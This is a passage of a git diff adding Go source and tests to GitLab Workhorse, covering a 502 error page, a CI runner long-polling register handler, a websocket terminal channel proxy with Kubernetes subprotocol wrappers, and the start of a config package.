+ data := TemplateData{
+ Time: time.Now().Format("15:04:05"),
+ Error: err.Error(),
+ ReloadSeconds: 5,
+ }
+
+ buf := &bytes.Buffer{}
+ if err := developmentErrorTemplate.Execute(buf, data); err != nil {
+ return data.Error, "text/plain"
+ }
+
+ return buf.String(), "text/html"
+}
+
+type TemplateData struct {
+ Time string
+ Error string
+ ReloadSeconds int
+}
+
+var developmentErrorTemplate = template.Must(template.New("error502").Parse(`
+<html>
+<head>
+<title>502: GitLab is not responding</title>
+<script>
+window.setTimeout(function() { location.reload() }, {{.ReloadSeconds}} * 1000)
+</script>
+</head>
+
+<body>
+<h1>502</h1>
+<p>GitLab is not responding. The error was:</p>
+
+<pre>{{.Error}}</pre>
+
+<p>If you just started GDK it can take 60-300 seconds before GitLab has finished booting. This page will automatically reload every {{.ReloadSeconds}} seconds.</p>
+<footer>Generated by gitlab-workhorse running in development mode at {{.Time}}.</footer>
+</body>
+</html>
+`))
diff --git a/workhorse/internal/badgateway/roundtripper_test.go b/workhorse/internal/badgateway/roundtripper_test.go
new file mode 100644
index 00000000000..fc7132f9bd7
--- /dev/null
+++ b/workhorse/internal/badgateway/roundtripper_test.go
@@ -0,0 +1,56 @@
+package badgateway
+
+import (
+ "errors"
+ "io/ioutil"
+ "net/http"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+type roundtrip502 struct{}
+
+func (roundtrip502) RoundTrip(*http.Request) (*http.Response, error) {
+ return nil, errors.New("something went wrong")
+}
+
+func TestErrorPage502(t *testing.T) {
+ tests := []struct {
+ name string
+ devMode bool
+ contentType string
+ responseSnippet string
+ }{
+ {
+ name: "production mode",
+ contentType: "text/plain",
+ responseSnippet: "GitLab is not responding",
+ },
+ {
+ name: "development mode",
+ devMode: true,
+ contentType: "text/html",
+ responseSnippet: "This page will automatically reload",
+ },
+ }
+
+ for _, tc := range tests {
+ t.Run(tc.name, func(t *testing.T) {
+ req, err := http.NewRequest("GET", "/", nil)
+ require.NoError(t, err, "build request")
+
+ rt := NewRoundTripper(tc.devMode, roundtrip502{})
+ response, err := rt.RoundTrip(req)
+ require.NoError(t, err, "perform roundtrip")
+ defer response.Body.Close()
+
+ body, err := ioutil.ReadAll(response.Body)
+ require.NoError(t, err)
+
+ require.Equal(t, tc.contentType, response.Header.Get("content-type"), "content type")
+ require.Equal(t, 502, response.StatusCode, "response status")
+ require.Contains(t, string(body), tc.responseSnippet)
+ })
+ }
+}
diff --git a/workhorse/internal/builds/register.go b/workhorse/internal/builds/register.go
new file mode 100644
index 00000000000..77685889cfd
--- /dev/null
+++ b/workhorse/internal/builds/register.go
@@ -0,0 +1,163 @@
+package builds
+
+import (
+ "encoding/json"
+ "errors"
+ "net/http"
+ "time"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/redis"
+)
+
+const (
+ maxRegisterBodySize = 32 * 1024
+ runnerBuildQueue = "runner:build_queue:"
+ runnerBuildQueueHeaderKey = "Gitlab-Ci-Builds-Polling"
+ runnerBuildQueueHeaderValue = "yes"
+)
+
+var (
+ registerHandlerRequests = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_builds_register_handler_requests",
+ Help: "Describes how many requests in different states hit a register handler",
+ },
+ []string{"status"},
+ )
+ registerHandlerOpen = promauto.NewGaugeVec(
+ prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_builds_register_handler_open",
+ Help: "Describes how many requests is currently open in given state",
+ },
+ []string{"state"},
+ )
+
+ registerHandlerOpenAtReading = registerHandlerOpen.WithLabelValues("reading")
+ registerHandlerOpenAtProxying = registerHandlerOpen.WithLabelValues("proxying")
+ registerHandlerOpenAtWatching = registerHandlerOpen.WithLabelValues("watching")
+
+ registerHandlerBodyReadErrors = registerHandlerRequests.WithLabelValues("body-read-error")
+ registerHandlerBodyParseErrors = registerHandlerRequests.WithLabelValues("body-parse-error")
+ registerHandlerMissingValues = registerHandlerRequests.WithLabelValues("missing-values")
+ registerHandlerWatchErrors = registerHandlerRequests.WithLabelValues("watch-error")
+ registerHandlerAlreadyChangedRequests = registerHandlerRequests.WithLabelValues("already-changed")
+ registerHandlerSeenChangeRequests = registerHandlerRequests.WithLabelValues("seen-change")
+ registerHandlerTimeoutRequests = registerHandlerRequests.WithLabelValues("timeout")
+ registerHandlerNoChangeRequests = registerHandlerRequests.WithLabelValues("no-change")
+)
+
+type largeBodyError struct{ error }
+
+type WatchKeyHandler func(key, value string, timeout time.Duration) (redis.WatchKeyStatus, error)
+
+type runnerRequest struct {
+ Token string `json:"token,omitempty"`
+ LastUpdate string `json:"last_update,omitempty"`
+}
+
+func readRunnerBody(w http.ResponseWriter, r *http.Request) ([]byte, error) {
+ registerHandlerOpenAtReading.Inc()
+ defer registerHandlerOpenAtReading.Dec()
+
+ return helper.ReadRequestBody(w, r, maxRegisterBodySize)
+}
+
+func readRunnerRequest(r *http.Request, body []byte) (*runnerRequest, error) {
+ if !helper.IsApplicationJson(r) {
+ return nil, errors.New("invalid content-type received")
+ }
+
+ var runnerRequest runnerRequest
+ err := json.Unmarshal(body, &runnerRequest)
+ if err != nil {
+ return nil, err
+ }
+
+ return &runnerRequest, nil
+}
+
+func proxyRegisterRequest(h http.Handler, w http.ResponseWriter, r *http.Request) {
+ registerHandlerOpenAtProxying.Inc()
+ defer registerHandlerOpenAtProxying.Dec()
+
+ h.ServeHTTP(w, r)
+}
+
+func watchForRunnerChange(watchHandler WatchKeyHandler, token, lastUpdate string, duration time.Duration) (redis.WatchKeyStatus, error) {
+ registerHandlerOpenAtWatching.Inc()
+ defer registerHandlerOpenAtWatching.Dec()
+
+ return watchHandler(runnerBuildQueue+token, lastUpdate, duration)
+}
+
+func RegisterHandler(h http.Handler, watchHandler WatchKeyHandler, pollingDuration time.Duration) http.Handler {
+ if pollingDuration == 0 {
+ return h
+ }
+
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.Header().Set(runnerBuildQueueHeaderKey, runnerBuildQueueHeaderValue)
+
+ requestBody, err := readRunnerBody(w, r)
+ if err != nil {
+ registerHandlerBodyReadErrors.Inc()
+ helper.RequestEntityTooLarge(w, r, &largeBodyError{err})
+ return
+ }
+
+ newRequest := helper.CloneRequestWithNewBody(r, requestBody)
+
+ runnerRequest, err := readRunnerRequest(r, requestBody)
+ if err != nil {
+ registerHandlerBodyParseErrors.Inc()
+ proxyRegisterRequest(h, w, newRequest)
+ return
+ }
+
+ if runnerRequest.Token == "" || runnerRequest.LastUpdate == "" {
+ registerHandlerMissingValues.Inc()
+ proxyRegisterRequest(h, w, newRequest)
+ return
+ }
+
+ result, err := watchForRunnerChange(watchHandler, runnerRequest.Token,
+ runnerRequest.LastUpdate, pollingDuration)
+ if err != nil {
+ registerHandlerWatchErrors.Inc()
+ proxyRegisterRequest(h, w, newRequest)
+ return
+ }
+
+ switch result {
+ // It means that we detected a change before starting watching on change,
+ // We proxy request to Rails, to see whether we have a build to receive
+ case redis.WatchKeyStatusAlreadyChanged:
+ registerHandlerAlreadyChangedRequests.Inc()
+ proxyRegisterRequest(h, w, newRequest)
+
+ // It means that we detected a change after watching.
+ // We could potentially proxy request to Rails, but...
+ // We can end-up with unreliable responses,
+ // as don't really know whether ResponseWriter is still in a sane state,
+ // for example the connection is dead
+ case redis.WatchKeyStatusSeenChange:
+ registerHandlerSeenChangeRequests.Inc()
+ w.WriteHeader(http.StatusNoContent)
+
+ // When we receive one of these statuses, it means that we detected no change,
+ // so we return to runner 204, which means nothing got changed,
+ // and there's no new builds to process
+ case redis.WatchKeyStatusTimeout:
+ registerHandlerTimeoutRequests.Inc()
+ w.WriteHeader(http.StatusNoContent)
+
+ case redis.WatchKeyStatusNoChange:
+ registerHandlerNoChangeRequests.Inc()
+ w.WriteHeader(http.StatusNoContent)
+ }
+ })
+}
diff --git a/workhorse/internal/builds/register_test.go b/workhorse/internal/builds/register_test.go
new file mode 100644
index 00000000000..a72d82dc2b7
--- /dev/null
+++ b/workhorse/internal/builds/register_test.go
@@ -0,0 +1,108 @@
+package builds
+
+import (
+ "bytes"
+ "errors"
+ "io"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/redis"
+)
+
+const upstreamResponseCode = 999
+
+func echoRequest(rw http.ResponseWriter, req *http.Request) {
+ rw.WriteHeader(upstreamResponseCode)
+ io.Copy(rw, req.Body)
+}
+
+var echoRequestFunc = http.HandlerFunc(echoRequest)
+
+func expectHandlerWithWatcher(t *testing.T, watchHandler WatchKeyHandler, data string, contentType string, expectedHttpStatus int, msgAndArgs ...interface{}) {
+ h := RegisterHandler(echoRequestFunc, watchHandler, time.Second)
+
+ rw := httptest.NewRecorder()
+ req, _ := http.NewRequest("POST", "/", bytes.NewBufferString(data))
+ req.Header.Set("Content-Type", contentType)
+
+ h.ServeHTTP(rw, req)
+
+ require.Equal(t, expectedHttpStatus, rw.Code, msgAndArgs...)
+}
+
+func expectHandler(t *testing.T, data string, contentType string, expectedHttpStatus int, msgAndArgs ...interface{}) {
+ expectHandlerWithWatcher(t, nil, data, contentType, expectedHttpStatus, msgAndArgs...)
+}
+
+func TestRegisterHandlerLargeBody(t *testing.T) {
+ data := strings.Repeat(".", maxRegisterBodySize+5)
+ expectHandler(t, data, "application/json", http.StatusRequestEntityTooLarge,
+ "rejects body with entity too large")
+}
+
+func TestRegisterHandlerInvalidRunnerRequest(t *testing.T) {
+ expectHandler(t, "invalid content", "text/plain", upstreamResponseCode,
+ "proxies request to upstream")
+}
+
+func TestRegisterHandlerInvalidJsonPayload(t *testing.T) {
+ expectHandler(t, `{[`, "application/json", upstreamResponseCode,
+ "fails on parsing body and proxies request to upstream")
+}
+
+func TestRegisterHandlerMissingData(t *testing.T) {
+ testCases := []string{
+ `{"token":"token"}`,
+ `{"last_update":"data"}`,
+ }
+
+ for _, testCase := range testCases {
+ expectHandler(t, testCase, "application/json", upstreamResponseCode,
+ "fails on argument validation and proxies request to upstream")
+ }
+}
+
+func expectWatcherToBeExecuted(t *testing.T, watchKeyStatus redis.WatchKeyStatus, watchKeyError error,
+ httpStatus int, msgAndArgs ...interface{}) {
+ executed := false
+ watchKeyHandler := func(key, value string, timeout time.Duration) (redis.WatchKeyStatus, error) {
+ executed = true
+ return watchKeyStatus, watchKeyError
+ }
+
+ parsableData := `{"token":"token","last_update":"last_update"}`
+
+ expectHandlerWithWatcher(t, watchKeyHandler, parsableData, "application/json", httpStatus, msgAndArgs...)
+ require.True(t, executed, msgAndArgs...)
+}
+
+func TestRegisterHandlerWatcherError(t *testing.T) {
+ expectWatcherToBeExecuted(t, redis.WatchKeyStatusNoChange, errors.New("redis connection"),
+ upstreamResponseCode, "proxies data to upstream")
+}
+
+func TestRegisterHandlerWatcherAlreadyChanged(t *testing.T) {
+ expectWatcherToBeExecuted(t, redis.WatchKeyStatusAlreadyChanged, nil,
+ upstreamResponseCode, "proxies data to upstream")
+}
+
+func TestRegisterHandlerWatcherSeenChange(t *testing.T) {
+ expectWatcherToBeExecuted(t, redis.WatchKeyStatusSeenChange, nil,
+ http.StatusNoContent)
+}
+
+func TestRegisterHandlerWatcherTimeout(t *testing.T) {
+ expectWatcherToBeExecuted(t, redis.WatchKeyStatusTimeout, nil,
+ http.StatusNoContent)
+}
+
+func TestRegisterHandlerWatcherNoChange(t *testing.T) {
+ expectWatcherToBeExecuted(t, redis.WatchKeyStatusNoChange, nil,
+ http.StatusNoContent)
+}
diff --git a/workhorse/internal/channel/auth_checker.go b/workhorse/internal/channel/auth_checker.go
new file mode 100644
index 00000000000..f44850e0861
--- /dev/null
+++ b/workhorse/internal/channel/auth_checker.go
@@ -0,0 +1,69 @@
+package channel
+
+import (
+ "errors"
+ "net/http"
+ "time"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+)
+
+type AuthCheckerFunc func() *api.ChannelSettings
+
+// Regularly checks that authorization is still valid for a channel, outputting
+// to the stopper when it isn't
+type AuthChecker struct {
+ Checker AuthCheckerFunc
+ Template *api.ChannelSettings
+ StopCh chan error
+ Done chan struct{}
+ Count int64
+}
+
+var ErrAuthChanged = errors.New("connection closed: authentication changed or endpoint unavailable")
+
+func NewAuthChecker(f AuthCheckerFunc, template *api.ChannelSettings, stopCh chan error) *AuthChecker {
+ return &AuthChecker{
+ Checker: f,
+ Template: template,
+ StopCh: stopCh,
+ Done: make(chan struct{}),
+ }
+}
+func (c *AuthChecker) Loop(interval time.Duration) {
+ for {
+ select {
+ case <-time.After(interval):
+ settings := c.Checker()
+ if !c.Template.IsEqual(settings) {
+ c.StopCh <- ErrAuthChanged
+ return
+ }
+ c.Count = c.Count + 1
+ case <-c.Done:
+ return
+ }
+ }
+}
+
+func (c *AuthChecker) Close() error {
+ close(c.Done)
+ return nil
+}
+
+// Generates a CheckerFunc from an *api.API + request needing authorization
+func authCheckFunc(myAPI *api.API, r *http.Request, suffix string) AuthCheckerFunc {
+ return func() *api.ChannelSettings {
+ httpResponse, authResponse, err := myAPI.PreAuthorize(suffix, r)
+ if err != nil {
+ return nil
+ }
+ defer httpResponse.Body.Close()
+
+ if httpResponse.StatusCode != http.StatusOK || authResponse == nil {
+ return nil
+ }
+
+ return authResponse.Channel
+ }
+}
diff --git a/workhorse/internal/channel/auth_checker_test.go b/workhorse/internal/channel/auth_checker_test.go
new file mode 100644
index 00000000000..18beb45cf3a
--- /dev/null
+++ b/workhorse/internal/channel/auth_checker_test.go
@@ -0,0 +1,53 @@
+package channel
+
+import (
+ "testing"
+ "time"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+)
+
+func checkerSeries(values ...*api.ChannelSettings) AuthCheckerFunc {
+ return func() *api.ChannelSettings {
+ if len(values) == 0 {
+ return nil
+ }
+ out := values[0]
+ values = values[1:]
+ return out
+ }
+}
+
+func TestAuthCheckerStopsWhenAuthFails(t *testing.T) {
+ template := &api.ChannelSettings{Url: "ws://example.com"}
+ stopCh := make(chan error)
+ series := checkerSeries(template, template, template)
+ ac := NewAuthChecker(series, template, stopCh)
+
+ go ac.Loop(1 * time.Millisecond)
+ if err := <-stopCh; err != ErrAuthChanged {
+ t.Fatalf("Expected ErrAuthChanged, got %v", err)
+ }
+
+ if ac.Count != 3 {
+ t.Fatalf("Expected 3 successful checks, got %v", ac.Count)
+ }
+}
+
+func TestAuthCheckerStopsWhenAuthChanges(t *testing.T) {
+ template := &api.ChannelSettings{Url: "ws://example.com"}
+ changed := template.Clone()
+ changed.Url = "wss://example.com"
+ stopCh := make(chan error)
+ series := checkerSeries(template, changed, template)
+ ac := NewAuthChecker(series, template, stopCh)
+
+ go ac.Loop(1 * time.Millisecond)
+ if err := <-stopCh; err != ErrAuthChanged {
+ t.Fatalf("Expected ErrAuthChanged, got %v", err)
+ }
+
+ if ac.Count != 1 {
+ t.Fatalf("Expected 1 successful check, got %v", ac.Count)
+ }
+}
diff --git a/workhorse/internal/channel/channel.go b/workhorse/internal/channel/channel.go
new file mode 100644
index 00000000000..381ce95df82
--- /dev/null
+++ b/workhorse/internal/channel/channel.go
@@ -0,0 +1,132 @@
+package channel
+
+import (
+ "fmt"
+ "net/http"
+ "time"
+
+ "github.com/gorilla/websocket"
+
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+var (
+ // See doc/channel.md for documentation of this subprotocol
+ subprotocols = []string{"terminal.gitlab.com", "base64.terminal.gitlab.com"}
+ upgrader = &websocket.Upgrader{Subprotocols: subprotocols}
+ ReauthenticationInterval = 5 * time.Minute
+ BrowserPingInterval = 30 * time.Second
+)
+
+func Handler(myAPI *api.API) http.Handler {
+ return myAPI.PreAuthorizeHandler(func(w http.ResponseWriter, r *http.Request, a *api.Response) {
+ if err := a.Channel.Validate(); err != nil {
+ helper.Fail500(w, r, err)
+ return
+ }
+
+ proxy := NewProxy(2) // two stoppers: auth checker, max time
+ checker := NewAuthChecker(
+ authCheckFunc(myAPI, r, "authorize"),
+ a.Channel,
+ proxy.StopCh,
+ )
+ defer checker.Close()
+ go checker.Loop(ReauthenticationInterval)
+ go closeAfterMaxTime(proxy, a.Channel.MaxSessionTime)
+
+ ProxyChannel(w, r, a.Channel, proxy)
+ }, "authorize")
+}
+
+func ProxyChannel(w http.ResponseWriter, r *http.Request, settings *api.ChannelSettings, proxy *Proxy) {
+ server, err := connectToServer(settings, r)
+ if err != nil {
+ helper.Fail500(w, r, err)
+ log.ContextLogger(r.Context()).WithError(err).Print("Channel: connecting to server failed")
+ return
+ }
+ defer server.UnderlyingConn().Close()
+ serverAddr := server.UnderlyingConn().RemoteAddr().String()
+
+ client, err := upgradeClient(w, r)
+ if err != nil {
+ log.ContextLogger(r.Context()).WithError(err).Print("Channel: upgrading client to websocket failed")
+ return
+ }
+
+ // Regularly send ping messages to the browser to keep the websocket from
+ // being timed out by intervening proxies.
+ go pingLoop(client)
+
+ defer client.UnderlyingConn().Close()
+ clientAddr := getClientAddr(r) // We can't know the port with confidence
+
+ logEntry := log.WithContextFields(r.Context(), log.Fields{
+ "clientAddr": clientAddr,
+ "serverAddr": serverAddr,
+ })
+
+ logEntry.Print("Channel: started proxying")
+
+ defer logEntry.Print("Channel: finished proxying")
+
+ if err := proxy.Serve(server, client, serverAddr, clientAddr); err != nil {
+ logEntry.WithError(err).Print("Channel: error proxying")
+ }
+}
+
+// In the future, we might want to look at X-Client-Ip or X-Forwarded-For
+func getClientAddr(r *http.Request) string {
+ return r.RemoteAddr
+}
+
+func upgradeClient(w http.ResponseWriter, r *http.Request) (Connection, error) {
+ conn, err := upgrader.Upgrade(w, r, nil)
+ if err != nil {
+ return nil, err
+ }
+
+ return Wrap(conn, conn.Subprotocol()), nil
+}
+
+func pingLoop(conn Connection) {
+ for {
+ time.Sleep(BrowserPingInterval)
+ deadline := time.Now().Add(5 * time.Second)
+ if err := conn.WriteControl(websocket.PingMessage, nil, deadline); err != nil {
+ // Either the connection was already closed so no further pings are
+ // needed, or this connection is now dead and no further pings can
+ // be sent.
+ break
+ }
+ }
+}
+
+func connectToServer(settings *api.ChannelSettings, r *http.Request) (Connection, error) {
+ settings = settings.Clone()
+
+ helper.SetForwardedFor(&settings.Header, r)
+
+ conn, _, err := settings.Dial()
+ if err != nil {
+ return nil, err
+ }
+
+ return Wrap(conn, conn.Subprotocol()), nil
+}
+
+func closeAfterMaxTime(proxy *Proxy, maxSessionTime int) {
+ if maxSessionTime == 0 {
+ return
+ }
+
+ <-time.After(time.Duration(maxSessionTime) * time.Second)
+ proxy.StopCh <- fmt.Errorf(
+ "connection closed: session time greater than maximum time allowed - %v seconds",
+ maxSessionTime,
+ )
+}
diff --git a/workhorse/internal/channel/proxy.go b/workhorse/internal/channel/proxy.go
new file mode 100644
index 00000000000..71f58092276
--- /dev/null
+++ b/workhorse/internal/channel/proxy.go
@@ -0,0 +1,56 @@
+package channel
+
+import (
+ "fmt"
+ "net"
+ "time"
+
+ "github.com/gorilla/websocket"
+)
+
+// ANSI "end of channel" code
+var eot = []byte{0x04}
+
+// An abstraction of gorilla's *websocket.Conn
+type Connection interface {
+ UnderlyingConn() net.Conn
+ ReadMessage() (int, []byte, error)
+ WriteMessage(int, []byte) error
+ WriteControl(int, []byte, time.Time) error
+}
+
+type Proxy struct {
+ StopCh chan error
+}
+
+// stoppers is the number of goroutines that may attempt to call Stop()
+func NewProxy(stoppers int) *Proxy {
+ return &Proxy{
+ StopCh: make(chan error, stoppers+2), // each proxy() call is a stopper
+ }
+}
+
+func (p *Proxy) Serve(upstream, downstream Connection, upstreamAddr, downstreamAddr string) error {
+ // This signals the upstream channel to kill the exec'd process
+ defer upstream.WriteMessage(websocket.BinaryMessage, eot)
+
+ go p.proxy(upstream, downstream, upstreamAddr, downstreamAddr)
+ go p.proxy(downstream, upstream, downstreamAddr, upstreamAddr)
+
+ return <-p.StopCh
+}
+
+func (p *Proxy) proxy(to, from Connection, toAddr, fromAddr string) {
+ for {
+ messageType, data, err := from.ReadMessage()
+ if err != nil {
+ p.StopCh <- fmt.Errorf("reading from %s: %s", fromAddr, err)
+ break
+ }
+
+ if err := to.WriteMessage(messageType, data); err != nil {
+ p.StopCh <- fmt.Errorf("writing to %s: %s", toAddr, err)
+ break
+ }
+ }
+}
diff --git a/workhorse/internal/channel/wrappers.go b/workhorse/internal/channel/wrappers.go
new file mode 100644
index 00000000000..6fd955bedc7
--- /dev/null
+++ b/workhorse/internal/channel/wrappers.go
@@ -0,0 +1,134 @@
+package channel
+
+import (
+ "encoding/base64"
+ "net"
+ "time"
+
+ "github.com/gorilla/websocket"
+)
+
+func Wrap(conn Connection, subprotocol string) Connection {
+ switch subprotocol {
+ case "channel.k8s.io":
+ return &kubeWrapper{base64: false, conn: conn}
+ case "base64.channel.k8s.io":
+ return &kubeWrapper{base64: true, conn: conn}
+ case "terminal.gitlab.com":
+ return &gitlabWrapper{base64: false, conn: conn}
+ case "base64.terminal.gitlab.com":
+ return &gitlabWrapper{base64: true, conn: conn}
+ }
+
+ return conn
+}
+
+type kubeWrapper struct {
+ base64 bool
+ conn Connection
+}
+
+type gitlabWrapper struct {
+ base64 bool
+ conn Connection
+}
+
+func (w *gitlabWrapper) ReadMessage() (int, []byte, error) {
+ mt, data, err := w.conn.ReadMessage()
+ if err != nil {
+ return mt, data, err
+ }
+
+ if isData(mt) {
+ mt = websocket.BinaryMessage
+ if w.base64 {
+ data, err = decodeBase64(data)
+ }
+ }
+
+ return mt, data, err
+}
+
+func (w *gitlabWrapper) WriteMessage(mt int, data []byte) error {
+ if isData(mt) {
+ if w.base64 {
+ mt = websocket.TextMessage
+ data = encodeBase64(data)
+ } else {
+ mt = websocket.BinaryMessage
+ }
+ }
+
+ return w.conn.WriteMessage(mt, data)
+}
+
+func (w *gitlabWrapper) WriteControl(mt int, data []byte, deadline time.Time) error {
+ return w.conn.WriteControl(mt, data, deadline)
+}
+
+func (w *gitlabWrapper) UnderlyingConn() net.Conn {
+ return w.conn.UnderlyingConn()
+}
+
+// Coalesces all wsstreams into a single stream. In practice, we should only
+// receive data on stream 1.
+func (w *kubeWrapper) ReadMessage() (int, []byte, error) {
+ mt, data, err := w.conn.ReadMessage()
+ if err != nil {
+ return mt, data, err
+ }
+
+ if isData(mt) {
+ mt = websocket.BinaryMessage
+
+ // Remove the WSStream channel number, decode to raw
+ if len(data) > 0 {
+ data = data[1:]
+ if w.base64 {
+ data, err = decodeBase64(data)
+ }
+ }
+ }
+
+ return mt, data, err
+}
+
+// Always sends to wsstream 0
+func (w *kubeWrapper) WriteMessage(mt int, data []byte) error {
+ if isData(mt) {
+ if w.base64 {
+ mt = websocket.TextMessage
+ data = append([]byte{'0'}, encodeBase64(data)...)
+ } else {
+ mt = websocket.BinaryMessage
+ data = append([]byte{0}, data...)
+ }
+ }
+
+ return w.conn.WriteMessage(mt, data)
+}
+
+func (w *kubeWrapper) WriteControl(mt int, data []byte, deadline time.Time) error {
+ return w.conn.WriteControl(mt, data, deadline)
+}
+
+func (w *kubeWrapper) UnderlyingConn() net.Conn {
+ return w.conn.UnderlyingConn()
+}
+
+func isData(mt int) bool {
+ return mt == websocket.BinaryMessage || mt == websocket.TextMessage
+}
+
+func encodeBase64(data []byte) []byte {
+ buf := make([]byte, base64.StdEncoding.EncodedLen(len(data)))
+ base64.StdEncoding.Encode(buf, data)
+
+ return buf
+}
+
+func decodeBase64(data []byte) ([]byte, error) {
+ buf := make([]byte, base64.StdEncoding.DecodedLen(len(data)))
+ n, err := base64.StdEncoding.Decode(buf, data)
+ return buf[:n], err
+}
diff --git a/workhorse/internal/channel/wrappers_test.go b/workhorse/internal/channel/wrappers_test.go
new file mode 100644
index 00000000000..1e0226f85d8
--- /dev/null
+++ b/workhorse/internal/channel/wrappers_test.go
@@ -0,0 +1,155 @@
+package channel
+
+import (
+ "bytes"
+ "errors"
+ "net"
+ "testing"
+ "time"
+
+ "github.com/gorilla/websocket"
+)
+
+type testcase struct {
+ input *fakeConn
+ expected *fakeConn
+}
+
+type fakeConn struct {
+ // WebSocket message type
+ mt int
+ data []byte
+ err error
+}
+
+func (f *fakeConn) ReadMessage() (int, []byte, error) {
+ return f.mt, f.data, f.err
+}
+
+func (f *fakeConn) WriteMessage(mt int, data []byte) error {
+ f.mt = mt
+ f.data = data
+ return f.err
+}
+
+func (f *fakeConn) WriteControl(mt int, data []byte, _ time.Time) error {
+ f.mt = mt
+ f.data = data
+ return f.err
+}
+
+func (f *fakeConn) UnderlyingConn() net.Conn {
+ return nil
+}
+
+func fake(mt int, data []byte, err error) *fakeConn {
+ return &fakeConn{mt: mt, data: []byte(data), err: err}
+}
+
+var (
+ msg = []byte("foo bar")
+ msgBase64 = []byte("Zm9vIGJhcg==")
+ kubeMsg = append([]byte{0}, msg...)
+ kubeMsgBase64 = append([]byte{'0'}, msgBase64...)
+
+ errFake = errors.New("fake error")
+
+ text = websocket.TextMessage
+ binary = websocket.BinaryMessage
+ other = 999
+
+ fakeOther = fake(other, []byte("foo"), nil)
+)
+
+func requireEqualConn(t *testing.T, expected, actual *fakeConn, msg string, args ...interface{}) {
+ if expected.mt != actual.mt {
+ t.Logf("messageType expected to be %v but was %v", expected.mt, actual.mt)
+ t.Fatalf(msg, args...)
+ }
+
+ if !bytes.Equal(expected.data, actual.data) {
+ t.Logf("data expected to be %q but was %q: ", expected.data, actual.data)
+ t.Fatalf(msg, args...)
+ }
+
+ if expected.err != actual.err {
+ t.Logf("error expected to be %v but was %v", expected.err, actual.err)
+ t.Fatalf(msg, args...)
+ }
+}
+
+func TestReadMessage(t *testing.T) {
+ testCases := map[string][]testcase{
+ "channel.k8s.io": {
+ {fake(binary, kubeMsg, errFake), fake(binary, kubeMsg, errFake)},
+ {fake(binary, kubeMsg, nil), fake(binary, msg, nil)},
+ {fake(text, kubeMsg, nil), fake(binary, msg, nil)},
+ {fakeOther, fakeOther},
+ },
+ "base64.channel.k8s.io": {
+ {fake(text, kubeMsgBase64, errFake), fake(text, kubeMsgBase64, errFake)},
+ {fake(text, kubeMsgBase64, nil), fake(binary, msg, nil)},
+ {fake(binary, kubeMsgBase64, nil), fake(binary, msg, nil)},
+ {fakeOther, fakeOther},
+ },
+ "terminal.gitlab.com": {
+ {fake(binary, msg, errFake), fake(binary, msg, errFake)},
+ {fake(binary, msg, nil), fake(binary, msg, nil)},
+ {fake(text, msg, nil), fake(binary, msg, nil)},
+ {fakeOther, fakeOther},
+ },
+ "base64.terminal.gitlab.com": {
+ {fake(text, msgBase64, errFake), fake(text, msgBase64, errFake)},
+ {fake(text, msgBase64, nil), fake(binary, msg, nil)},
+ {fake(binary, msgBase64, nil), fake(binary, msg, nil)},
+ {fakeOther, fakeOther},
+ },
+ }
+
+ for subprotocol, cases := range testCases {
+ for i, tc := range cases {
+ conn := Wrap(tc.input, subprotocol)
+ mt, data, err := conn.ReadMessage()
+ actual := fake(mt, data, err)
+ requireEqualConn(t, tc.expected, actual, "%s test case %v", subprotocol, i)
+ }
+ }
+}
+
+func TestWriteMessage(t *testing.T) {
+ testCases := map[string][]testcase{
+ "channel.k8s.io": {
+ {fake(binary, msg, errFake), fake(binary, kubeMsg, errFake)},
+ {fake(binary, msg, nil), fake(binary, kubeMsg, nil)},
+ {fake(text, msg, nil), fake(binary, kubeMsg, nil)},
+ {fakeOther, fakeOther},
+ },
+ "base64.channel.k8s.io": {
+ {fake(binary, msg, errFake), fake(text, kubeMsgBase64, errFake)},
+ {fake(binary, msg, nil), fake(text, kubeMsgBase64, nil)},
+ {fake(text, msg, nil), fake(text, kubeMsgBase64, nil)},
+ {fakeOther, fakeOther},
+ },
+ "terminal.gitlab.com": {
+ {fake(binary, msg, errFake), fake(binary, msg, errFake)},
+ {fake(binary, msg, nil), fake(binary, msg, nil)},
+ {fake(text, msg, nil), fake(binary, msg, nil)},
+ {fakeOther, fakeOther},
+ },
+ "base64.terminal.gitlab.com": {
+ {fake(binary, msg, errFake), fake(text, msgBase64, errFake)},
+ {fake(binary, msg, nil), fake(text, msgBase64, nil)},
+ {fake(text, msg, nil), fake(text, msgBase64, nil)},
+ {fakeOther, fakeOther},
+ },
+ }
+
+ for subprotocol, cases := range testCases {
+ for i, tc := range cases {
+ actual := fake(0, nil, tc.input.err)
+ conn := Wrap(actual, subprotocol)
+ actual.err = conn.WriteMessage(tc.input.mt, tc.input.data)
+ requireEqualConn(t, tc.expected, actual, "%s test case %v", subprotocol, i)
+ }
+ }
+}
diff --git a/workhorse/internal/config/config.go b/workhorse/internal/config/config.go
new file mode 100644
index 00000000000..84849c72744
--- /dev/null
+++ b/workhorse/internal/config/config.go
@@ -0,0 +1,154 @@
+package config
+
+import (
+ "math"
+ "net/url"
+ "runtime"
+ "strings"
+ "time"
+
+ "github.com/Azure/azure-storage-blob-go/azblob"
+ "github.com/BurntSushi/toml"
+ "gitlab.com/gitlab-org/labkit/log"
+ "gocloud.dev/blob"
+ "gocloud.dev/blob/azureblob"
+)
+
+type TomlURL struct {
+ url.URL
+}
+
+func (u *TomlURL) UnmarshalText(text []byte) error {
+ temp, err := url.Parse(string(text))
+ u.URL = *temp
+ return err
+}
+
+type TomlDuration struct {
+ time.Duration
+}
+
+func (d *TomlDuration) UnmarshalTest(text []byte) error {
+ temp, err := time.ParseDuration(string(text))
+ d.Duration = temp
+ return err
+}
+
+type ObjectStorageCredentials struct {
+ Provider string
+
